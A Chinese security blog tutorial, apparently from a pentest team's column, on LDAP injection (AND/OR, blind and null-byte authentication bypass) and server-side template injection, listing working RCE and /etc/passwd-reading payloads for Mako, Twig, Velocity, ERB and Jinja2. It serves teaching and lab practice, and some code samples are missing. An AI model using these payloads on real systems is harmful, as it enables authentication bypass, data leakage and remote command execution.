花式注入那点事儿(下) | 技术精选0118
在前面两期推送中,我们已经对多种花式注入方式进行了详细解读。在最后一期,即将粉墨登场的是LDAP注入和SSTI注入。
如果这个系列能够为各位同学带来些许帮助,那笔者实在不胜欣喜。
1.LDAP介绍
"LightWeightDirectory AccessProtocol"
又称为轻量级目录访问协议,相信许多开发出身的同学并不陌生。
LDAP就是DAP目录访问协议的轻量级版本,常用于访问网络中的目录服务。它可以在用户不知道域名的情况下,搜索个人而无需知道位置。
在渗透过程中,我们经常说的就是LDAP服务器,简单来理解,就是储存数据的数据库。它常见的用途一般为储存用户名和密码,然后在不同的应用程序或服务中,使用LDAP对会话进行身份验证或绑定。
这个基本就类似于我们常说的SSO。所开的端口一般为389。一个常见的例子就是我们在搭建域环境时碰到的AD(ActiveDirectory)。
AD是一种目录服务,用于管理域、用户和分布式资源,在管理域和对象的同时,控制对应用户访问对应资源。同时它还包含整个域环境下每个账户的信息,并将每个用户账户视为一个对象,每个对象具有多个属性。
LDAP的作用就是以基于字符串的查询从AD中提取信息。从简单来理解,AD就是LDAP服务器+LDAP应用。
说到这可能会有人想到,其他数据库比如MYSQL,和LDAP数据库有什么区别吗?
最大的区别就是LDAP数据库是树状结构,数据储存在叶子节点上。大家都知道,使用树状结构效率更高。在不经常更改的情况下能够更快速的查找。既然是树状结构那就肯定有其规则:
一条数据其完整的表现形式就是:dn:cn=记录的名字,ou=组织,dc=区域。
2.LDAP注入
在介绍中,我们知道LDAP服务器有点类似于其他数据库服务器,其注入方式也有点类似于SQL注入,都是由于开发者对于部分参数未做正确过滤,导致攻击者可以插入恶意payload。
究根结底,LDAP注入之所以产生,一个重要原因就是其过滤器机制。最简单一个就是:
(username=tom) //(filter1)
LDAP注入也有其划分,比如AND注入、OR注入和盲注,除此之外就是上面这种简单形式的注入,当我们输入payload:"*)(&" 时就会构造成"(username=*)(&)",由于此服务器只处理第一个过滤器,即:"(username=*)",便会查询所有的用户名。
当然,在实际操作中很少有这种简单的过滤器,一般都会加上一些逻辑运算符。这就构成了我们常说的AND注入和OR注入。
AND注入顾名思义就是带有"&"符,这种在用户名密码机制中经常使用:
(&(username=johnname)(password=johnpwd)
看到这很多人就已经想到了注入的方法,只需要输入我们的payload:"johnname)(&)",便可形成:
(&(username=johnname)(&))(password=johnpwd)
(&(username=johnname)(password=johnpwd)
(&(username=johnname)(&))
另一种就是" | OR"注入,一般而言,其后端生成的表达式如下:
(|(username1=Johnname)(username2=tomname))
从攻击者的角度来看,我们经常与通配符(*)一起使用,比如我们需要输出一个公司内所有的资产,username1为姓名,username2为员工ID,这时我们仅需构造payload:
(|(username1=johname)(assert=*))(username2=tomname))
由于LDAP服务器只会处理第一个过滤器,此时便会输出整个公司的资产。
除了AND、OR之外,再就是盲注了,这一点类似于SQL注入中的布尔盲注和时间盲注,LDAP盲注是一种更高级的利用技术,可通过发送多个请求,并检查服务器响应以确定查询是否有效来提取未知信息。
结合其他优化和自动化功能,攻击者可以通过响应包返回的状态来获取信息。
比如我们需要获取一个公司的部门属性情况,在上述AND注入中输入"Jomname)(attribute=*)",形成的过滤器如下:
(&(username=Jomname)(attribute=*))(password=johnpwd)
如果服务器有响应,说明attribute属性存在,反之就不存在。
如果想查询属性名department,那么我们就可以输入payload:
jomname)(departmen=a*)
(&(username=jomname)(departmen=a*))(password=johnpwd)
如果有服务器响应就可以继续进行"ab*、ac*"等等的过程。
3.查找LDAP
LDAP只能通过结果或者是状态码来判断是否有效,这为我们带来不少麻烦。不过我们也可以通过一些方法验证是否为LDAP。
-
-
-
"%00"截断,可以通过其实现passwd参数绕过;
(&(name=hacker))%00(passwd=hacker))
-
利用"cn"属性:在LDAP中基本都会存在这个属性,如果对于查询的目录一无所知的情况下可以用这个。
4.总结
尽管LDAP注入的方式多种多样,但是其主要还是用在绕过身份验证和造成信息泄露两方面,常用的基本就是通过00截断或者闭合的方式,绕过其身份验证。或者通过盲注的方式,得到该公司的信息,人员姓名等。
有时候在渗透中,389端口开放而其他的无从下手时,可以尝试一下用LDAP客户端连接一下该服务器,说不定拿下的就是SSO呢。
5.参考文献
https://www.netsparker.com/blog/web-security/ldap-injection-how-to-prevent/
https://cloud.tencent.com/developer/article/1683075
https://blog.csdn.net/qq_19876131/article/details/50577355
https://xz.aliyun.com/t/5689#toc-0
1.SSTI介绍
SSTI,Server-SideTemplateInjection,又称为服务器端模板注入,表示当攻击者使用该模板语法将恶意的语句注入到模板中,然后在服务器中执行时,就会发生服务器模板注入。
在Web应用程序中有一条简单的开发规则:尽可能将应用程序逻辑与HTML代码分开,这就会让网页的生成被设计成固定模板加动态数据,也就是提供了一种管理HTML代码动态生成的方法。
然而当攻击者的输入直接连接到模板当中,而不是作为数据传入时,就会发生服务器模板注入攻击,从而导致攻击者可以直接获得服务器控制权限。
做安全的相信很多人都玩过vulhub,一个基于docker的漏洞环境,里面有一个flaskSSTI项目,它的代码如下:
可以看到他是以get形式接受的值,可能看到这很多人可能会首先想到XSS,这也往往会漏掉SSTI。当我们做一个简单的数学运算的时候就能够看到这些差异,比如输入:
可以看出2*2被执行了,用户的输入被直接连接到模板中,这也就形成了服务器端模板注入。
2.SSTI利用
在上一节介绍中,我们已经知道了存在服务器端模板注入,在一般的流程中我们需要查找究竟采用的哪一种模板编写的,以下的截图来源网络,基本上包含了市面上的服务器端模板:
<%
importos
x= os.popen('id')。read()
%>
${x}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
除此之外还有一些java的模板语言,比如Velocity模板,它可以使用Runtime.exec()在目标系统执行shell命令,比如:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($iin[1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
ERB:<%=7 * 7 %>
Slim:#{7 * 7 }
<%=system('cat /etc/passwd') %><%=`ls /` %><%=IO.popen('ls /').readlines() %><%require'open3'%><% @a,@b,@c,@d=Open3.popen3('whoami')%><%=@b.readline()%><%require'open4'%><%@a,@b,@c,@d=Open4.popen4('whoami')%><%=@c.readline()%>
当然jade也有SSTI的形式,也可以实现RCE。
在介绍中我们发现代码采用的是jinja2,这时我们采用:
%7b%7b+%27%27.__ class __.__ mro __%5B2%5D.__ subclasses __%28%29%5B40%5D%28%27%2Fetc%2Fpasswd%27%29.read%28%29+%7D%7D
便可以读取passwd的文件内容,同时也可以使用官方提供的POC执行:
便可看到代码成功执行。
SSTI的注入方式很多,查找方式也多种多样,比如java的"${7*7}"等等,这个需要我们日常的积累,在vulhub中也存在一些基于docker搭建的靶机环境,比如:
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
这里面提供了十几种不同的服务器端漏洞环境,包含python、php、java、nodejs、javascript、ruby、go等语言。
当然有漏洞也就代表着有相应的检测工具,这里比较推荐:
talmap(https://github.com/epinna/tplmap)
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://portswigger.net/research/server-side-template-injection
本文作者:酒仙桥六号部队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/171991.html